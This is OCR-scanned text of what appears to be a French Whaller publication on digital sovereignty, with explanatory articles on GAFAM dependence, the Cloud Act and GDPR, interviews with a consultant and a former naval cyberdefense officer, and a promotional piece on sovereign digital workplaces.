tant que cabinet de conseil, au

sein de nos équipes afin
d'échanger ensemble et
travailler simultanément sur
un document. Nous l'utilisons
également avec nos clients et
les équipes clients, ce qui
nous permet d'avancer
ensemble et de travailler sur
ces projets de transformation

qui sont parfois assez lourds.

Il'y a également un enjeu der-
riere les outils que lI'on choisit,
qui est I'enjeu d'avoir des outils
qui garantissent la sécurité
des données, la confidentialité
des échanges et qui peuvent
prémunir éventuellement de
certains risques Iégaux. Avoir
des outils francais ou euro-
péens est un plus pour ces
guestions de confidentialité de
sécurité.

Quelle est I'importance
de la commande pu-
blique dans le dévelop-
pement d’'un écosys-
teme économique et
industriel ?

Je considere qu'il y a 4 piliers

dans la demande:

« Le«BtoC» Onvaessayer
de faire en sorte que les
consommateurs consom-
ment un peu plus de pro-
duits francais et permettre
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de structurer les écosys-
témes.

Le B to B : Comment les
acteurs industriels vont
s'approvisionner aupres
d'autres acteurs industriels
francais donc provision
France,

L'export,

La commande publique :
La commande publique a
un réle structurant méme
si elle n‘'est pas suffisante
pour accompagner cer-
tains développements,
c'est-a-dire elle va garantir
des volumes et donc per-
mettre le développement
aussi des activités. Laou la
commande publique peut
jouer un réle notamment
dans le domaine du numé-
rique, nous avons beau-
coup d‘acteurs francais qui
sont situés a différents
points de la chaine de
valeur, qui sont trés perfor-
mants dans ce qu'ils pro-
posent. Le probleme c'est
gu'ils n‘ont pas la capacité
pour un certain nombre
d'avoir autant de cas
d'usage que des masto-
dontes américains ou
d'autres nationalités.



La commande publigue peut jouer son role, parce qu'elle peut donner des cas
d'usage a ses acteurs pour leur per-mettre de montrer qu’ils savent faire
et encourager aussi les acteurs privés de choisir ces solutions et donc de

soutenir I'écosysteme.

Quelle est la question que personne ne vous a jamais posée et que
vous attendez déses-pérément que I'on vous pose ?

Peut-étre que ce que j'aime-rais, c'est que I'on arrive tous collectivement a se dire que
c'est incroyablement dur. Que tous les jours on a des raisons de désespérer de se dire
que lI'on n'y arrivera pas, que les choses ne vont pas dans le bon sens et que collective-
ment on reste positif en se disant que chaque jour on fournit un effort, mais que
chague jour on peut contri-buer a transformer le monde pour le rendre meilleur et en

tout cas plus soutenable
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Qu’est-ce que
la souveraineté numeérique ?

Souveraineté numérique

Aux Etats-Unis,
(Google,

les GAFAM
Apple, Facebook,
Amazon et Microsoft) et en
Chine les BATX (Baidu, Alibaba,
Tencent et Xiaomi) dominent
I'internet mondial sur lequel ils
exercent une profonde
influence. La dépendance des
utilisateurs, qu'ils soient des

particuliers, des organisations

des

privées,

publiques ou
Etats, ne cessent d'augmenter.
Cet état de fait d'une « mono-
culture » des outils numé-
rigues souléeve des enjeux
stratégiques, économiques,
politiques et éthiques, notam-
ment a propos de l'utilisation
données

des personnelles

fournies par les utilisateurs.
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Cest la que prend place le
concept de souveraineté
numérique : il vise a redonner
I'indépendance numérique et
le contréle des données aux
gouvernements, aux entre-

prises et aux particuliers.



Qu’est-ce que la sou-
veraineté numérique ?
Selon la définition du diction-
naire Larousse pour la langue
francaise un Etat souverain
est un Etat indépendant, «
reconnu dans ses frontiéres
par lacommunauté internatio-
nale » et qui exerce « un pou-
voir d'administration et de juri-
diction » sur sa population.
Néanmoins, dans [I'univers
numérique, cette notion n'est
pas aussi claire. Si la souverai-
neté numérique renvoie géné-
ralement au fait qu'un Etat
(gouvernement) ou une orga-
nisation doit établir son auto-
rité pour exercer ses pouvoirs
dans le cyberespace, elle
englobe aussi des questions
plus concretes, telles que la
dépendance technologique ou
le contréle des données per-
sonnelles des utilisateurs.

En effet, le mouvement défen-
dant la souveraineté numé-
rigue vise a reconquérir une
part du pouvoir exercé au sein
d'un espace numérique. Aux
débuts d'Internet, ses promo-
teurs cherchaient a dévelop-
per un pouvoir affranchi des
gouvernements. Publiée en
1996, « La Déclaration d'indé-

pendance du cyberespace »

est un texte célebre rédigé a
Davos, en Suisse, par John
Perry Barlow, écrivain et mili-
tant politique libertaire. Elle
précise que les gouverne-
ments n‘ont aucune autorité

dans cet écosysteme.

Or, la souveraineté des gou-
vernements a été tres rapide-
ment remise en cause par le
développement du numérique.
Ce dernier ignorant les fron-
tieres et les lois, il permet aux
acteurs influents du web
d'établir leurs propres regles,
voire d'étre considérés comme
des « nations entierement
numeérisées ». En témoigne la
nomination par le Danemark,
en 2017, d'un ambassadeur

aupres des GAFAM.

En France, I'expression a été
introduite dans le domaine
public dans les années 2000
par Pierre Bellanger, président
de la radio Skyrock, puis défi-
nie quelques années plus tard
dans un essai intitulé La Sou-
veraineté numérique. Depuis,
le terme a été repris par des
personnalités politiques. En
2013,

révélation d'écoutes massives

I'affaire  Snowden (la

par la NSA, Agence nationale
de la sécurité, un organisme
gouvernemental du départe-
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ment de la Défense des
Etats-Unis) a mis en lumiére
les risques liés a la gouver-
nance des espaces numeé-
riques. Puis, en 2015, le scan-
dale Cambridge Analytica
impliguant Facebook, a mis en
lumiere l'utilisation fraudu-
leuse des données person-
nelles des utilisateurs par des
sociétés privées.
L'indépendance numérique
est une notion désormais bien
ancrée. Elle se traduit par des
décisions concretes prises au
niveau de I'Union européenne.
Elle a pour objectif de dévelop-
per des solutions cloud souve-
raines (comme OVHcloud) et
des moteurs de recherche
locaux (comme la société
francaise Qwant). Ces initia-
tives incitent ainsi les entre-
prises européennes a recher-
cher leur  indépendance
vis-a-vis des GAFAM au profit
de solutions nationales ou
européennes. Cela s'applique
a [l'utilisation des données
sensibles par les entreprises.
Et c’'est 1a que réside la ques-
tion fondamentale de la sou-
d'un

veraineté numérique

point de vue organisationnel.


https://www.larousse.fr/encyclopedie/divers/souverainet%C3%A9/93195
https://fr.wikipedia.org/wiki/Scandale_Facebook-Cambridge_Analytica

Les enjeux de la souve-
raineté numérique
On peut

distinguer deux

enjeux majeurs : l'un straté-
gique et l'autre éthique.

Alors que la pandémie de
Covid a encore accru la
dépendance des entreprises
vis-a-vis des solutions cloud
transnationales opérées par
des acteurs ameéricains,
celles-ci doivent plus que
jamais développer leur auto-
nomie numérique afin de mai-
triser leurs données (les leurs
et celles de leurs clients). En
effet, ces acteurs majeurs du
web sont soumis a des régle-
mentations qui peuvent aller a
I'encontre des intéréts straté-
giques des organisations qui

les utilisent.

GAFAM

doivent respecter des regles

Par exemple, les

d'extraterritorialité, comme le
Cloud Act. Ce dernier autorise
le gouvernement américain a
accéder aux données héber-
gées par des entreprises
nationales, méme si leurs ser-
veurs sont situés en dehors
des Etats-Unis ! En consé-
quence de quoi, la confiden-
tialité de ces données n'est en
aucun cas garantie. Considé-

rant que 92% des données

produites en Occident sont
hébergées aux USA (étude du
cabinet Oliver Wyman, 2020),
ces lois menacent les intéréts

commerciaux européens.

Un autre exemple est l'audi-
tion récente du président de
l'application Tiktok par le
Congrés américain. Il a dd
prouver qu'il était indépendant
du pouvoir chinois (ce qui
pourrait étre savoureux, mais
montre par l'absurde que le
gouvernement américain joue

sur tous les tableaux).

Par ailleurs, la question ne
concerne pas seulement les
regles d'extraterritorialité, elle
interroge aussi les individus,
en mettant I'accent sur la pré-
servation du droit a la vie
privée. En effet, dés que les
organisations collectent des
données, elles ont la possibili-
té de

annonceurs ou a des institu-

les revendre a des

tions politiques. Ce fut le cas
dans le scandale évoqué plus
haut de Cambridge Analytica
ou les données personnelles
des électeurs ont été utilisées
pour influencer les intentions
de vote. C'est aussi le cas
lorsque les données confiées
aux opérateurs sont sensibles,
notamment les coordonnées
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bancaires, les informations de
santé, les données financieéres,

etc.

Pourquoi les entre-
prises devraient-elles
prioriser la souveraine-
té de leurs données ?
Tout d'abord, pour protéger
leurs données. Cela est parti-
culierement vrai pour les
entreprises traitant des don-
nées sensibles, dans des sec-
teurs tels que la défense, la
santé, la sécurité, la banque et
I'assurance, [l'industrie, etc.
Cependant, toutes les don-
nées personnelles sont en
danger si elles sont volées,
altérées ou détournées.
Aujourd’hui, nous le savons, il
ny a absolument aucun
moyen de garantir la confiden-
tialité des données lorsqu’elles
sont hébergées par les géants
de la Tech. A I'inverse, les don-
nées en Europe sont proté-
gées par les lois continentales,
notamment le Reéeglement
général sur la protection des
données (RGPD) de I'Union

européenne.



Deuxiemement, pour fournir
des assurances aux utilisa-
teurs. Les Francais sont par-
faitement conscients des
enjeux liés au traitement de
leurs données. Dans toutes les
études d‘opinion, ils sou-
haitent désormais que leurs
données personnelles soient
stockées par des acteurs
européens. lIs se disent méme
préts a renoncer a un service
numeérique s'ils ont un doute
sur |'utilisation et le stockage
de leurs données.
Troisiemement, réduire la
dépendance vis-a-vis des
solutions étrangeres et les
changements qui en résultent.
En retour, le choix de travailler
avec des acteurs locaux offre
des avantages tels que la
proximité, I'écoute, la réactivi-

té et la sécurité.

En conclusion, I'Union euro-
péenne, avec 512 millions de
citoyens-internautes éduqués
et dotés d'un haut pouvoir
d'achat, est le premier marché
économique mondial, vital
pour les GAFAM. Quand I'Union
européenne édicte des stan-
dards, ils sont souvent repris
largement par le reste du
monde, excepté la Chine et le

Japon, et dans une moindre

mesure les Etats-Unis. Néan-
moins, bientét, le Digital Ser-
vices Act et le Digital Markets
Act, renforceront la protection
des Européens. Quant a la
Chine, gardons en mémoire
qu'elle a purement et simple-
ment banni les GAFAM de son

espace.

Mais il n‘'est pas trop tard pour
que les Européens récuperent
leur souveraineté numeérique.
Nous ne sommes pas David
contre Goliath. C'est affaire de
volonté et de convictions. Mais
il Ny a « point de milieu » a la
souveraineté comme I'écrivait
Jean-Jacques Rousseau. Elle
est ou elle n'‘est pas. Al'Europe
d'agir désormais souveraine-
ment. Pour ¢a, elle peut comp-
ter sur le soutien total des

entrepreneurs européens.
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Les enjeux de souveraineteé
numerique au sein des entreprises

Souveraineté numérique

La souveraineté numérique est devenue une question stratégique pour les entreprises. Elle
concerne la capacité d’'une entreprise (ou d’un pays) a contréler son propre environnement numé-

rique, c’est-a-dire ses données, ses infrastructures et ses logiciels.

Examinons les principaux enjeux de la souveraineté numérique pour les entreprises et les raisons

pour lesquelles celle-ci est désormais une question cruciale pour leurs directions générales.
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Controler ses données

Les données sont souvent
décrites comme « l'or blanc »
ou le « nouveau pétrole » de
I'économie
effet,
duisent et collectent une

numérique. En

les entreprises pro-

immense quantité de données
qui peuvent étre utilisées pour
améliorer les produits et ser-
vices, comprendre et satis-
faire les clients, et prendre des

décisions stratégiques.

Cependant, I'écrasante majo-
rité de ces données sont stoc-
kées et traitées par des four-
nisseurs de services cloud
dont la plupart sont basés
hors de France et d'Europe.
Ainsi, les trois leaders mon-
diaux du cloud, Amazon,
Microsoft et Google qui
captent environ les deux tiers
du chiffre d'affaires mondial,
sont américains. Cela souleve
naturellement plusieurs ques-
tions : qui contréle réellement
ces données ? Qu'en est-il de
leur sécurité ? Et quid de leur
confidentialité  malgré les
engagements de ces fournis-
seurs : quelle loi s‘applique,
celle des Etats-Unis ou celle

de la France ?

Evaluer sa dépendance
technologique

Un autre enjeu clé de la souve-
raineté est la dépendance a
I'égard des fournisseurs de
technologie étrangers. En
effet, de nombreuses entre-
prises dépendent de logiciels
et de matériel informatique
Cette

situation crée des vulnérabili-

produits a I'étranger.
tés : I'entreprise peut se trou-
ver dans une situation difficile
si le fournisseur décide de
changer ses termes et condi-
tions, d'augmenter ses prix ou
de cesser de fournir ses ser-

vices.

Il faut aussi ajouter les risques
liés aux taux de change. Les
fluctuations des taux de
change peuvent augmenter le
codt des technologies étran-
geres, ce qui peut avoir un
impact sur les marges de l'en-
treprise.

Par ailleurs, la guerre en
Ukraine et les sanctions qui
ont été votées par les Améri-
cains et les Européens contre
la Russie ont bloqué I'accessi-
bilité a des services numé-
rigues russes. Cela rappelle les
risques politiques et régle-
mentaires. Les politiques
étrangeres, les tensions inter-
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nationales, les embargos ou
les sanctions peuvent affecter
la capacité de l'entreprise a
utiliser ou a accéder a la tech-
nologie étrangere.

D'autres risques sont liés a
I'intégration et a l'interopéra-
bilité. Les technologies étran-
geres peuvent ne pas s'inté-
grer facilement avec les sys-
témes existants ou peuvent
ne pas étre compatibles avec
d'autres technologies utilisées
par l'entreprise, ce qui peut
conduire a une baisse de la
qualité des services proposeés,
a des pertes de temps pour
rendre compatible ce qui ne
I'est pas vraiment et in fine a

une augmentation des codts.

Evaluer sa cybersécu-
rité

La cybersécurité est un autre
aspect important de la souve-
raineté numérique. Les entre-
prises doivent étre en mesure
de se protéger contre les
cyberattaques qui peuvent
compromettre la confidentiali-
té, I'intégrité et la disponibilité
de leurs systemes d'informa-
tion et de leurs données.



Elles doivent pour cela mener
une analyse de risque afin
d’'identifier les sources de me-
naces qui peuvent étre
internes ou externes a I'entre-
prise. Cette analyse permettra
ainsi de dresser la liste des
risques et ainsi prendre les
mesures adéquates pour se

protéger.

Qu’en est-il si les données de
I'entreprise sont hébergées a
I'extérieur ? Comment
peut-elle s'assurer que ses
fournisseurs sont eux-mémes
protégés ? Est-ce qu'elle sera
informée par ces derniers si
leurs systemes d'information
étaient corrompus ? Voila
autant de points a encadrer en
s‘appuyant sur un plan d'assu-
rance sécurité (PAS) dans
lequel d'une part l'entreprise
fixe ses objectifs de sécurité
et d'autre part le prestataire va
expliciter ce qu'il fait pour y
répondre. La perte ou le vol de
données, comme le feu,
peuvent entrainer la dispari-

tion d'une entreprise.

Assurer ses compé-
tences et son innova-
tion

Pour étre véritablement sou-

veraines sur le plan numé-

rique, les entreprises doivent
également disposer des com-
pétences et des capacités
nécessaires en interne.
C'est-a-dire  maitriser les
savoir-faire  technologiques
dont elles ont besoin pour

innover et créer.

Cela nécessite qu'elles inves-
tissent dans le recrutement de
collaborateurs ad hoc et dans
la formation afin d'étre
capable d'assurer a la fois
I'interface avec leurs fournis-
seurs de services numériques
ainsi que la maitrise de leurs
programmes de recherche et
développement. Il en va la de
leur indépendance et de leur

futur.

Maitrise la Iégislation

et la réglementation

La souveraineté numérique
ameéne les entreprises a se
confronter a un environne-
ment réglementaire complexe.
En effet, lors de [I'utilisation
d'un service, d'un logiciel
opéré par une société étran-
gere, il est probable que les
lois du pays d'origine s‘ap-
pliquent au produit et
contraigne la société a une
collaboration avec les autori-

tés (Services de renseigne-
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ment par exemple). Autre diffi-
culté, se conformer a une mul-
titude de lois et de reglements
relatifs a la protection des
données, a la cybersécurité, a
la concurrence, etc. Par
exemple, le RGPD s'impose a
toute entreprise européenne
ou non qui manipule des don-
nées personnelles de citoyens

européens.

Cela peut étre particuliere-
ment délicat lorsque les entre-
prises operent a I'échelle
internationale et ont a se
conformer a des législations
étrangeéres. Elles doivent alors
étre solidement conseillées
pour bien comprendre le sens
et I'esprit des lois, la jurispru-
dence et surtout les risques

auxquels elles s'exposent.

Comment minimiser
cesrisques

Poury parvenir, les entreprises
doivent avoir une bonne com-
préhension de leur dépen-
dance a I'égard des technolo-
gies étrangeres et mettre en
place des stratégies robustes
pour gérer les risques que

nous avons Vvu.



Cela peut emprunter les voies de la diversification de leurs fournisseurs,
I'investissement dans la sécurité et la confor-mité, et la mise en place de plans de

continuité d'activité pour faire face a des interrup-tions de service.

Néanmoins, dans un environ-nement numérique de plus en plus mondialisé et
inter-connecté, la souveraineté numérique est devenue un enjeu aussi
crucial pour les entreprises que ceux de [linnovation, de la conquéte de parts

de marché ou du recru-tement des meilleurs collabo-rateurs.

Pour y parvenir, elle exige une vigilance particuliere et constante pour assurer la
sécurité, I'innovation et le contréle de leurs données. Elle demande surtout aux diri-
geants du discernement, de lI'indépendance d’esprit et de la capacité a s'affranchir des

modes et des pressions, notamment des actionnaires.
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Quelles sont les opportuniteées
et les menaces sur le plan
numeérique en France ?

Souveraineté numérique

L'invité
Whaller

Nicolas Malbec

Nicolas Malbec, Capitaine de vaisseau de réserve, dirigeant également les programmes de cyber-
défense au sein de I'Ecole Hexagone, est venu nous présenter son projet de création d'entreprise «

Fidelilium » et sa conception de la souveraineté numérique.
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https://youtu.be/jFhWjR8a7VM

Quel est votre parcours
?

Attiré a la fois par la mer,
I'informatique et le service du
pays par une carriere militaire,
jai rejoint I'école navale a
I'issue de mes études et j'ai eu
une carriere qui m'a permis
d‘alterner des postes de com-
mandement a la mer et dans le

numérique.

A la mer, jai pu participer a de
nombreuses opérations sous
tous types de batiments et jai
notamment eu I'honneur de
commander la frégate Nivose.
Dans les technologies de
I'information, ce qui est bien
dans la Marine, c'est que nous
sommes formés tout au long
de notre carriere. Jai pu
passer un master en réseaux
de télécommunications, jai pu
suivre un titre d'expert SSI de
I'ANSSI a I'’ANSSI. Cela m’'a
permis d'étre en charge de
I'entrainement cyberdéfense
de la flotte, d'étre responsable
de la sécurité des systemes
d'information (RSI) pour l'en-
semble de la Marine et d'étre
directeur de la transformation
numérique au sein de la
Marine avec un focus tres
important sur la donnée, la
politique de la donnée, la créa-

tion d'un centre de service de

la donnée et d'un centre d'in-
telligence artificielle maritime.
Plus récemment, jai été en
charge de la planification des
opérations dans le cyberes-
pace au sein du commande-
ment de |la
(COMCYBER).

cyberdéfense

Pouvez-vous nous pré-
senter « Fidelilium » ?

Le nom de la société est «
Fidelilium », c'est un clin d'ceil
a la ville de Versailles avec «
lilium » le Lys, puisque la
société aura son siege social
dans cette ville. Dans une
démarche dapporter de la
confiance dans le numérique,
vous retrouvez aussi « fidé »
de « fidélise » donc I'ensemble
« Fidelilium » ca doit incarner
dans la

cette excellence

confiance numérique.

La mission de Fidelilium est de
libérer et de sécuriser la vie
numérique. Cela veut dire
apporter de la confiance la ou
nous avons tendance a perdre
conflance. Et probablement
aussi apporter de la cohérence
dans un monde numérique qui
se complexifie. Lobjet sera
d'apporter du conseil straté-
gique, du conseil en cybersé-

curité, du conseil en transfor-
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mation numérique et de ma-
niere plus générale, en souve-
raineté numérique. Le tout en
allant chercher les standards
I'ANSSI

comme celui de prestataire en

d'excellence de

accompagnement de conseil
en sécurité des systemes d'in-
formation.

La cible prioritaire pour Fideli-
lium, ce sont les opérateurs
d'importance vitale, les opéra-
teurs de services essentiels et
d'une maniere générale, les
grandes entreprises ou les
entreprises qui ont de grands
besoins en cybersécurité, qui
ont besoin de protéger leurs

actifs numériques.

Comment expli-
quez-vous la montée
en puissance du theme
de la souveraineté nu-
meérique ?

Je pense gque nous arrivons a
un moment de I'histoire du
numeérique ou NnOous nous
posons certaines questions.
Nous avions un grand élan
enthousiaste quand les solu-
tions numériques sont appa-

rues.


https://fidelilium.com/

Nous sommes souvent allés au
plus pratique, au moins cher,
au plus diffusé, sans forcé-
ment se poser beaucoup de
questions sur comment ca
marchait, sur qui se cachait
derriere telle ou telle solution..

Aujourd’hui, sans que nous ne
nous en rendions compte,
NOUS NOUS reposons sur ces
solutions numériques. Len-
thousiasme initial doit étre un
peu modéré. Il est plus que
temps de se poser les vraies
questions, c'est-a-dire quels
sont les Etats qui sont derriére
les solutions numériques que
j'emploie ? Quelles sont leurs
lois et éventuellement leurs
applications extraterritoriales
qui s‘appliqguent ? Comment
est stocké ma donnée ? Que
fait précisément tel logiciel qui
est installé sur mon systeme

d'information critique ?

Je pense que cette notion de
souveraineté numérique allait
arriver a un moment ou nous
sommes tellement dépen-
dants des solutions numé-
riques, que Nnous NOUS posons
des questions. Est-ce que je
maitrise vraiment mon destin
numérique ? Est-ce que je sais

ce gue je fais avec ces outils ?

Quelle est votre propre
conception de la sou-
veraineté numeérique ?
La souveraineté numérique
est aujourd’hui théorique,
nous voulons nous réappro-
prier les choses, maitriser ces
systémes d'information. C'est
un concept que l'on épouse
volontiers, en tout cas sur le
plan théorique. Les vrais prati-
quants de la souveraineté
numeérique, se rendent
compte que ce nest pas
quelque chose de facile a réa-

liser.

Nous nous retrouvons dans la
situation ou nous avons laissé
dériver une situation ou des
compétiteurs ont pu faire des
investissements massifs dans
les solutions numériques
depuis les années 70, ont su
développer des formations,
des centres de recherche
d'excellence, ont su imposer
leurs standards et su dévelop-
per toute une industrie du
numeérique. Aujourd’hui, pour
avoir la maitrise de nos sys-
temes d‘information, il va
falloir beaucoup travailler pour

rattraper notre retard.
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La cybersécurité
est-elle une compo-
sante majeure de la
souveraineté numeé-
rique ?

Effectivement, la cybersécuri-
té, si nous rappelons ses 3
piliers qui sont : la confidentia-
lité, I'intégrité et la disponibili-
té, un maillon essentiel de la
souveraineté numérique. Par
exemple, si nous nous situons
au niveau d'un Etat, la confi-
dentialité des informations
dans le domaine militaire, est
quelgue chose d'essentiel. Si
nous nous plagons au niveau
d'une centrale nucléaire, d'une
entreprise de transport ou
d'un systeme bancaire, l'inté-
grité des données, c'est juste
vital. Pour chacun dentre
nous et pour lI'ensemble des
acteurs économiques et éta-
tiques, la disponibilité des ser-
vices numériques est quelque
chose d'essentiel parce que
sans cela, la vie s‘arréte. Nous
sommes dépendants de ces
systemes. Maitriser ces trois
piliers : la confidentialité,
I'intégrité et la disponibilité,
c'est essentiel en matiere de

souveraineté numérique.



Je dirais qu'en la matiere, la
France posseéde un atout non
négligeable, car elle a su
conserver une filiere d'excel-
lence en mathématiques per-
mettant d'avoir une maitrise
des outils cryptographiques.
Ainsila cryptographie va parti-
ciper a la confidentialité a
I'intégrité et d'une certaine
mesure, la disponibilité des

systemes.

Quelles sont les carac-
téristiques des milieux

numérique et maritime
2

Le milieu maritime comme le
milieu numérique, ont déja la
caractéristique de vivre com-
pletement sur lI'innovation. Au
début de I'humanité, il n'y avait
ni bateau, ni ordinateuretd’in-
novation en innovation, nous
avons pu créer des systemes
aussi complexes que des
sous-marins nucléaires, lan-
ceurs d’'engins ou des ordina-
teurs guantiques. Deux
domaines portés par l'innova-
tion, apres deux domaines qui
ont connu leur age d'or sur la
liberté de navigation.

Ce sont vraiment des
domaines ou ce sont les flux

que nous considérons et nous

pouvons aller naviguer, au gré
du vent et au gré des envies.
Cet age d'or est malheureuse-
ment révolu dans le milieu ma-
ritime ou il y a une appropria-
tion de la mer, des zones éco-
nomiques  exclusives  qui
s'agrandissent et des enjeux
géopolitiques trés marqués,
comme nous pouvons le voir
en mer de Chine par exemple,
des enjeux économiques liés
aux hydrocarbures enfouis
sous les mers. Dans le
domaine numeérique, c'est un
peu la méme chose, nous pou-
vons voir des Etats qui se
retranchent  derriere leur
propre Internet. Nous avons le
cri de firewall en Chine qui a la
capacité d'isoler son réseau.
Nous avons le runet en Russie,

etc.

Chacun essaie d'avoir la mai-
trise de son environnement
numérique et je pense que
c'est tres lié a la montée en
puissance du champ cognitif
dans le cyberespace.
Aujourd’hui, il y a des enjeux
d'influence énorme, notam-
ment via les réseaux sociaux.
L'étincelle qui nous y a fait
penser enfin qui nous a fait
découvrir la puissance de ces
réseaux sociaux c'était le prin-
temps arabe. Mais depuis,
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nous voyons bien que nous
allons de crise en crise et a
chaque fois, la dimension
numérique, la dimension
cognitive dans le cyberespace

a toujours un role clé.

Quelles sont les oppor-
tunités et menaces sur
le plan numérique en
France ?

En matiere d'opportunités,
elles sont nombreuses
puisque nous sommes dans le
domaine du numérique sur
des technologies qui évoluent
et qui changent presque tous
les quatre ou cing ans. Ce que
nous voyons arriver de fagon
massive, c'est la robotique
humanoide, ce sont les tech-
nologies du numérique dans
I'espace, c'est [lintelligence
artificielle et la je pense que
dans ces trois domaines, par
exemple, la France a de réels
atouts. Par exemple, sur la
robotiqgue humanoide, nous
sommes a un moment de I'his-
toire ou toutes les technolo-
gies existent. Maintenant, il va
falloir trouver l'intégrateur de
génie qui va donner satisfac-
tion au marché. Pourquoi pas

une entreprise francaise ?



En matiere de menaces, la
principale est de ne pas suffi-
samment former notre jeu-
nesse a ces enjeux nume-
riques. Il faut dés le college et
le lycée présenter les filieres
scientifigues comme des
filieres d'excellence, créer des
centres de recherche qui
En tout

cas, si nous ne le faisons pas

soient compétitifs.

c'est sdr que dautres pays
dans le monde le feront en
investissant massivement
dans I'éducation aux sciences
de I'informatique et du numé-

rique.

Qu’attendez-vous
d'une plateforme colla-
borative ?

La premiere chose que jen
attends, c'est de pouvoir colla-
borer, c'est-a-dire une diffu-
sion tres large de la solution. II
faut que cette solution soit
portable, c'est-a-dire qu'elle
soit un peu indépendante du
support du device, que nous
puissions vraiment I'utiliser en
toutes circonstances. Il faut
aussi qu'elle soit compatible, il
faut quand méme pouvoir col-
laborer avec la personne qui
aurait une autre solution. C'est

vraiment ma principale

attente d'une plateforme col-
laborative.

Un auteur, une ceuvre,
une phrase qui vous
inspirent ?

Dans ces temps ou je me lance
dans une nouvelle aventure
entrepreneuriale, il y a une
phrase que jaime beaucoup
qui est du pere Laval, qui était
un batisseur de cathédrales et
d'églises dans les iles éloi-
gnées de Polynésie francaise
aux Gambier, qui tout seul a
construit des édifices extraor-
dinaires en ayant peu de
moyens. Sa phrase c'était « le
premier geste du batisseur,
cest de se retrousser les
manches ». Je pense qu'en
matiere de  souveraineté
numérique, au-dela des beaux
discours, retroussons-nous
les manches et je suis persua-
dé que nous arriverons a
accomplir de tres Dbelles

choses.
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Réinventer la collaboration:
mettre en place une Digital
Workplace souveraine

Souveraineté numérique

Dans un monde numérique en
constante évolution, la mise
en place d’une Digital Work-
place efficace est devenue
essentielle pour les entre-
prises cherchant a stimuler la
collaboration, a renforcer la
sécurité numérique et a se
conformer aux réglementa-

tions en vigueur.

Dans cet article approfondi,

nous plongerons dans le pro-
cessus de mise en place d'une
digital workplace tout en souli-
gnant les défis auxquels les
entreprises sont confrontées
lorsqu’elles envisagent de
passer d’outils américains bien
établis a des solutions souve-

raines francaises, telles que

12

Whaller, avec une attention
particuliére portée au change-

ment et a la transformation.



La Quéte de la Digital
Workplace idéale

L'ere de la digital workplace
offre un éventail de possibili-
tés pour les entreprises, allant
des géants américains bien
connus tels que Microsoft 365
et Slack aux alternatives fran-
caises souveraines comme
Whaller, Talkspirit, Jalios ou
encore Wimi. Alors que de plus
en plus d'entreprises recon-
naissent les avantages de la
souveraineté numérique et de
la conformité aux réglementa-
tions francaises et euro-
péennes, le passage a une
solution souveraine n'est pas

sans ses défis.

Les défis du change-
ment

Le premier obstacle majeur
auquel sont confrontées les
le défi du

changement. Les outils améri-

entreprises est

cains tels que Microsoft 365
sont devenus omniprésents
au sein des organisations, ce
qui les rend familiers et
confortables pour les em-
ployés. Passer a une solution
souveraine francaise peut
susciter de la résistance au
sein de l'entreprise, car les
employés doivent s'adapter a

de nouvelles interfaces et a de

nouvelles méthodes de travail.
Le changement, en particulier
lorsqu’il s'agit de technologies,
nécessite une gestion
experte. Les entreprises
doivent mettre en place une
stratégie de « change mana-
gement » solide pour accom-
pagner la transition vers une
digital workplace souveraine.
Cela implique de communi-
quer efficacement les avan-
tages de la nouvelle solution,
d’offrir une formation adaptée
aux employés et de créer une
culture qui favorise I'adoption

de la nouvelle plateforme.

La Transformation Nu-
mérique a l'ceuvre
Au-dela du changement, la
mise en place d'une digital
workplace souveraine est une
composante clé de la transfor-
mation numérique d'une
entreprise. C'est I'occasion de
repenser les processus, d'en-
courager la collaboration et de
renforcer la sécurité des don-
nées. Les solutions souve-
raines francaises, telles que
Whaller, offrent des fonction-
nalités avancées tout en
garantissant que les données
restent sous controle et en
conformité avec les réglemen-

tations francaises et euro-

13

péennes.

Whaller : Une solution
de référence

Parmi les alternatives fran-
caises, Whaller se distingue
par son engagement envers la
souveraineté numérique et la
confidentialité des données.
Cette plateforme offre un
environnement sar et clos,
appelé « sphere », ou les utili-
sateurs peuvent collaborer en
toute confiance. Elle propose
une personnalisation avancée
et une interface moderne pour
stimuler I'adoption.

De plus, il est important de
noter que Whaller est actuelle-
ment en cours de qualification
SecNumCloud, une certifica-
tion de sécurité numérique
reconnue en France. Cette
démarche démontre I'engage-
ment de Whaller envers la
sécurité des données de ses
utilisateurs et renforce sa
position en tant que solution

souveraine de confiance.

Les limites des solu-
tions américaines
Lorsque nous examinons les
solutions américaines bien
établies telles que Microsoft

365, Slack et Google


https://blog.whaller.com/category/souverainete-numerique/
https://whaller.com/fr/product/security

Workspace, il est important de
noter certaines limites.

Ces plateformes opérent sou-
vent avec des serveurs situés
aux Etats-Unis, ce qui souléve
des questions quant a la loca-
lisation des données et a leur
conformité aux réglementa-
tions européennes, notam-
ment la RGPD. Pour les entre-
prises qui traitent des don-
nées sensibles, cela peut
constituer une source de pré-

occupation majeure.

Ces solutions opérent confor-
mément au Patriot Act et au
Cloud Act, ce qui signifie que
les données peuvent étre sou-
mises a des demandes d'acces
gouvernementales ameéri-
caines sans notification préa-
lable. Pour les entreprises
francaises et européennes,
cela représente un risque pour
la confidentialité et la souve-

raineté de leurs données.

L'émergence de la Sou-
veraineté Numeérique

La souveraineté numérique
est devenue une priorité pour
de nombreuses entreprises
qui cherchent a protéger leurs
données et a assurer leur
conformité réglementaire. Les

solutions souveraines fran-

caises, telles que Whaller,
offrent un contrdle accru sur
les données, garantissant que
les informations restent en
France et sous le contrdle des
entreprises utilisatrices. Cette
approche est cruciale pour la
protection des données sen-
sibles et la préservation de la

confidentialité.

Le réle clé du Change
Management

La transition vers une digital
workplace souveraine ne peut
étre réalisée avec succes sans
une gestion experte du chan-
gement. Les entreprises
doivent investir dans la forma-
tion des employés, la sensibili-
sation aux avantages de la
nouvelle plateforme et la créa-
tion d'une culture qui favorise
I'adoption de la souveraineté
numérique. Le « change ma-
nagement » est I'élément clé
qui permet de surmonter les
résistances au changement et
de garantir le succés de la
transformation

Réinventer la collabo-
ration en toute souve-
raineté

La mise en place d'une digital

workplace souveraine est un
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investissement dans l|avenir
de votre entreprise. Si le pas-
sage de solutions américaines
a des alternatives francaises
peut étre un défi, il offre égale-
ment l'opportunité de renfor-
cer la souveraineté numé-
rique, de favoriser la conformi-
té réglementaire et de réin-
venter la collaboration au sein

de lI'entreprise.

Le changement est inévitable,
mais avec une gestion experte
et une vision claire, il peut étre
transformateur. Alors, plongez
dans l'ére de la souveraineté
numérique avec une digital
workplace francaise telle que
Whaller et réinventez la colla-
boration au sein de votre
entreprise, en toute sécurité
et conformité.


